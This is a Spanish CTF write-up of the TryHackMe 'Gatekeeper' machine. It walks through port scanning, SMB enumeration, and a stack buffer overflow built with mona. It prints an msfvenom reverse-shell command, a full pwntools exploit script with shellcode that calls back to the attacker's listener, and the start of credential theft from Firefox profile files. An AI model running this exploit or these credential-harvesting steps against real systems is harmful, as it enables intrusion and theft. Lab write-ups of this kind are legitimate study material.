Gatekeeper
A lo largo del análisis de esta máquina, examinamos un binario y explotamos una vulnerabilidad de Buffer Overflow que nos permitió acceder al servidor. Para realizar la escalada de privilegios, extraímos las credenciales almacenadas en Firefox utilizando la herramienta Firepwd.
June 24, 20248 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
$ ping -c 1 10.10.30.181
PING 10.10.30.181 (10.10.30.181) 56(84) bytes of data.
64 bytes from 10.10.30.181: icmp_seq=1 ttl=127 time=266 ms
--- 10.10.30.181 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 266.290/266.290/266.290/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.53.55 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.53.55
5 │ [*] Open ports: 135,139,445,3389,31337,49152,49153,49154,49155
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
$ nmap -p135,139,445,3389,31337,49152,49153,49154,49155,49161,49165 -sCV 10.10.30.181 -oN versions
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2024-06-26T12:00:08+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: GATEKEEPER
| NetBIOS_Domain_Name: GATEKEEPER
| NetBIOS_Computer_Name: GATEKEEPER
| DNS_Domain_Name: gatekeeper
| DNS_Computer_Name: gatekeeper
| Product_Version: 6.1.7601
|_ System_Time: 2024-06-26T12:00:03+00:00
| ssl-cert: Subject: commonName=gatekeeper
| Not valid before: 2024-06-25T11:45:14
|_Not valid after: 2024-12-25T11:45:14
31337/tcp open Elite?
| fingerprint-strings:
| FourOhFourRequest:
| Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
| Hello
| GenericLines:
| Hello
| Hello
| GetRequest:
| Hello GET / HTTP/1.0
| Hello
| HTTPOptions:
| Hello OPTIONS / HTTP/1.0
| Hello
| Help:
| Hello HELP
| Kerberos:
| Hello !!!
| LDAPSearchReq:
| Hello 0
| Hello
| LPDString:
| Hello
| default!!!
| RTSPRequest:
| Hello OPTIONS / RTSP/1.0
| Hello
| SIPOptions:
| Hello OPTIONS sip:nm SIP/2.0
| Hello Via: SIP/2.0/TCP nm;branch=foo
| Hello From: <sip:nm@nm>;tag=root
| Hello To: <sip:nm2@nm2>
| Hello Call-ID: 50000
| Hello CSeq: 42 OPTIONS
| Hello Max-Forwards: 70
| Hello Content-Length: 0
| Hello Contact: <sip:nm@nm>
| Hello Accept: application/sdp
| Hello
| SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|_ Hello
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
SMB
Empezamos enumerando el SMB
smbclient -L 10.10.30.181
Password for [WORKGROUP\d3bo]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk
Hay un recurso compartido llamado Users al cual tenemos permisos para acceder
$ smbclient //10.10.30.181/Users
Password for [WORKGROUP\d3bo]:
smb: \> ls
Default DHR 0 Tue Jul 14 09:07:31 2009
desktop.ini AHS 174 Tue Jul 14 06:54:24 2009
Share D 0 Fri May 15 03:58:07 2020
smb: \> cd Share
smb: \Share\> ls
gatekeeper.exe A 13312 Mon Apr 20 07:27:17 2020
Dentro de la carpeta Share hay un archivo llamado gatkeeper.exe, nos lo vamos a descargar y abrir en una máquina windows, para ver que hace.
El programa ha abierto el puerto 31337 de mi windows. Casualmente, parece que el servicio que se me ha abierto con el gatekeeper.exe es el mismo que corre por la máquina víctima.
$ nc 192.168.1.142 31337
Testing
Hello Testing!!!
$ nc 10.10.30.181 31337
Testing
Hello Testing!!!
Si le mando un input muy grande, el programa peta, vamos a ver desde immunity debugger que es lo que está pasando.
BoF
Empezamos mandando 1000 ‘A’
python3 -c 'print("A" * 1000)' | nc 192.168.1.142 31337
Desde immunity debugger vemos que el programa ha petado, el mensaje de error dice que el programa no sabe por donde continuar porque la dirección 41414141 no existe. Esto se debe a que hemos puesto un input tan grande que hemos sobreescrito registros de la memoria, tales como el EIP, que es el encargado de guardar la próxima dirección por donde va a ir el programa. Al nosotros haber sobreescrito el EIP con 41414141 (AAAA), el programa peta. Sabiendo esto, vamos a intentar explotar un Buffer Overflow
Empezamos asignando a mona nuestra carpeta de trabajo
!mona config -set workingfolder C:\Users\arnau\Downloads\bof
Seguimos creando una string de 5000 caracteres la cual nos servirá para encontrar el offset para llegar al EIP
!mona pattern_create 5000
Mona nos crea el archivo pattern en la carpeta que especificamos anteriormente
Ahora mandamos toda la string de nuevo.
nc 192.168.1.142 31337
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk
Para que calcule automáticamente el offset, con mona pattern_offset, le pasamos el valor del EIP
!mona pattern_offset 39654138
Ha encontrado que el offset es de 146, esto significa que tenemos que poner 146 caracteres para conseguir llegar a sobreescribir el EIP
El siguiente paso es comprobar si hay algún badchar, para ello creamos una lista de bytes con:
!mona bytearray -b "\x00"
Vamos a usar el siguiente script para mandar todos los bytes
from pwn import *
from struct import pack
offset = 146
before_eip = b"A" * offset
eip = b"BBBB"
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = before_eip + eip + badchars
host, port = "192.168.1.142", "31337"
r = remote(host, port)
r.sendline(payload)
Desde immunity debbuger podemos ver todos los bytes que hemos mandado
Para comprobar que ningún byte de problemas, usamos !mona compare, donde le pasamos el archivo bytearray.bin que nos creó anteriormente, y también le pasamos la dirección donde empieza la cadena de badchars
!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 016319F8
Ha encontrado 2 badchars [\x00, \x0a]
Para explotar el BoF, tenemos que poner en el EIP una dirección de salto al ESP donde va a estar nuestro shellcode
!mona find -s "\xFF\xE4" -m gatekeeper.exe
Podemos usar cualquiera de las 2, ya que las dos tienen {PAGE_EXECUTE_READ}
Por último creamos el shellcode, donde especificamos los badchars que hemos encontrado durante el reconocimiento del programa
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.150 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f py -b "\x00\x0a" EXITFUNC=thread
buf = b""
buf += b"\xbf\x4f\x6e\xb7\x71\xd9\xc0\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\x8f"
buf += b"\x6a\x55\x84\xf3\x9b\x1b\x67\x0b\x5c\x7c\xe1\xee"
buf += b"\x6d\xbc\x95\x7b\xdd\x0c\xdd\x29\xd2\xe7\xb3\xd9"
buf += b"\x61\x85\x1b\xee\xc2\x20\x7a\xc1\xd3\x19\xbe\x40"
buf += b"\x50\x60\x93\xa2\x69\xab\xe6\xa3\xae\xd6\x0b\xf1"
buf += b"\x67\x9c\xbe\xe5\x0c\xe8\x02\x8e\x5f\xfc\x02\x73"
buf += b"\x17\xff\x23\x22\x23\xa6\xe3\xc5\xe0\xd2\xad\xdd"
buf += b"\xe5\xdf\x64\x56\xdd\x94\x76\xbe\x2f\x54\xd4\xff"
buf += b"\x9f\xa7\x24\x38\x27\x58\x53\x30\x5b\xe5\x64\x87"
buf += b"\x21\x31\xe0\x13\x81\xb2\x52\xff\x33\x16\x04\x74"
buf += b"\x3f\xd3\x42\xd2\x5c\xe2\x87\x69\x58\x6f\x26\xbd"
buf += b"\xe8\x2b\x0d\x19\xb0\xe8\x2c\x38\x1c\x5e\x50\x5a"
buf += b"\xff\x3f\xf4\x11\x12\x2b\x85\x78\x7b\x98\xa4\x82"
buf += b"\x7b\xb6\xbf\xf1\x49\x19\x14\x9d\xe1\xd2\xb2\x5a"
buf += b"\x05\xc9\x03\xf4\xf8\xf2\x73\xdd\x3e\xa6\x23\x75"
buf += b"\x96\xc7\xaf\x85\x17\x12\x7f\xd5\xb7\xcd\xc0\x85"
buf += b"\x77\xbe\xa8\xcf\x77\xe1\xc9\xf0\x5d\x8a\x60\x0b"
buf += b"\x36\x75\xdc\x12\x50\x1d\x1f\x14\x5d\x65\x96\xf2"
buf += b"\x37\x89\xff\xad\xaf\x30\x5a\x25\x51\xbc\x70\x40"
buf += b"\x51\x36\x77\xb5\x1c\xbf\xf2\xa5\xc9\x4f\x49\x97"
buf += b"\x5c\x4f\x67\xbf\x03\xc2\xec\x3f\x4d\xff\xba\x68"
buf += b"\x1a\x31\xb3\xfc\xb6\x68\x6d\xe2\x4a\xec\x56\xa6"
buf += b"\x90\xcd\x59\x27\x54\x69\x7e\x37\xa0\x72\x3a\x63"
buf += b"\x7c\x25\x94\xdd\x3a\x9f\x56\xb7\x94\x4c\x31\x5f"
buf += b"\x60\xbf\x82\x19\x6d\xea\x74\xc5\xdc\x43\xc1\xfa"
buf += b"\xd1\x03\xc5\x83\x0f\xb4\x2a\x5e\x94\xd4\xc8\x4a"
buf += b"\xe1\x7c\x55\x1f\x48\xe1\x66\xca\x8f\x1c\xe5\xfe"
buf += b"\x6f\xdb\xf5\x8b\x6a\xa7\xb1\x60\x07\xb8\x57\x86"
buf += b"\xb4\xb9\x7d"
Ahora solo falta ponernos en escucha rlwrap nc -nlvp 443
y modificar el exploit, donde metemos el shellcode creado con msfvenom
from pwn import *
from struct import pack
offset = 146
before_eip = b"A" * offset
eip = pack("<I", 0x080416bf)
buf = b""
buf += b"\xbf\x4f\x6e\xb7\x71\xd9\xc0\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\x8f"
buf += b"\x6a\x55\x84\xf3\x9b\x1b\x67\x0b\x5c\x7c\xe1\xee"
buf += b"\x6d\xbc\x95\x7b\xdd\x0c\xdd\x29\xd2\xe7\xb3\xd9"
buf += b"\x61\x85\x1b\xee\xc2\x20\x7a\xc1\xd3\x19\xbe\x40"
buf += b"\x50\x60\x93\xa2\x69\xab\xe6\xa3\xae\xd6\x0b\xf1"
buf += b"\x67\x9c\xbe\xe5\x0c\xe8\x02\x8e\x5f\xfc\x02\x73"
buf += b"\x17\xff\x23\x22\x23\xa6\xe3\xc5\xe0\xd2\xad\xdd"
buf += b"\xe5\xdf\x64\x56\xdd\x94\x76\xbe\x2f\x54\xd4\xff"
buf += b"\x9f\xa7\x24\x38\x27\x58\x53\x30\x5b\xe5\x64\x87"
buf += b"\x21\x31\xe0\x13\x81\xb2\x52\xff\x33\x16\x04\x74"
buf += b"\x3f\xd3\x42\xd2\x5c\xe2\x87\x69\x58\x6f\x26\xbd"
buf += b"\xe8\x2b\x0d\x19\xb0\xe8\x2c\x38\x1c\x5e\x50\x5a"
buf += b"\xff\x3f\xf4\x11\x12\x2b\x85\x78\x7b\x98\xa4\x82"
buf += b"\x7b\xb6\xbf\xf1\x49\x19\x14\x9d\xe1\xd2\xb2\x5a"
buf += b"\x05\xc9\x03\xf4\xf8\xf2\x73\xdd\x3e\xa6\x23\x75"
buf += b"\x96\xc7\xaf\x85\x17\x12\x7f\xd5\xb7\xcd\xc0\x85"
buf += b"\x77\xbe\xa8\xcf\x77\xe1\xc9\xf0\x5d\x8a\x60\x0b"
buf += b"\x36\x75\xdc\x12\x50\x1d\x1f\x14\x5d\x65\x96\xf2"
buf += b"\x37\x89\xff\xad\xaf\x30\x5a\x25\x51\xbc\x70\x40"
buf += b"\x51\x36\x77\xb5\x1c\xbf\xf2\xa5\xc9\x4f\x49\x97"
buf += b"\x5c\x4f\x67\xbf\x03\xc2\xec\x3f\x4d\xff\xba\x68"
buf += b"\x1a\x31\xb3\xfc\xb6\x68\x6d\xe2\x4a\xec\x56\xa6"
buf += b"\x90\xcd\x59\x27\x54\x69\x7e\x37\xa0\x72\x3a\x63"
buf += b"\x7c\x25\x94\xdd\x3a\x9f\x56\xb7\x94\x4c\x31\x5f"
buf += b"\x60\xbf\x82\x19\x6d\xea\x74\xc5\xdc\x43\xc1\xfa"
buf += b"\xd1\x03\xc5\x83\x0f\xb4\x2a\x5e\x94\xd4\xc8\x4a"
buf += b"\xe1\x7c\x55\x1f\x48\xe1\x66\xca\x8f\x1c\xe5\xfe"
buf += b"\x6f\xdb\xf5\x8b\x6a\xa7\xb1\x60\x07\xb8\x57\x86"
buf += b"\xb4\xb9\x7d"
print(eip)
payload = before_eip + eip + b"\x90" * 16 + buf
host, port = "192.168.1.142", 31337
r = remote(host, port)
r.sendline(payload)
Si quieres ver una explotación de un BoF más a detalle te recomiendo que te mires el writeup de la máquina Buff y Brainpan
Ejecutamos el script…. Y estamos dentro!
connect to [192.168.1.150] from (UNKNOWN) [192.168.1.142] 49184
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\arnau\Desktop>
Estamos dentro, sí, pero no de la máquina víctima, sino de mi máquina, así que tenemos que modificar el payload y el exploit con las ip correspondientes de tryhackme.
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\natbat\Desktop>
Ahora sí estamos dentro.
Escalada de privilegios
Empezamos con un reconocimiento listando el contenido de: C:\Users\natbat
C:\Users\natbat>dir /S /B
...
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\key4.db
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\logins.json
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\minidumps
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\parent.lock
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\permissions.sqlite
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\pkcs11.txt
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\places.sqlite
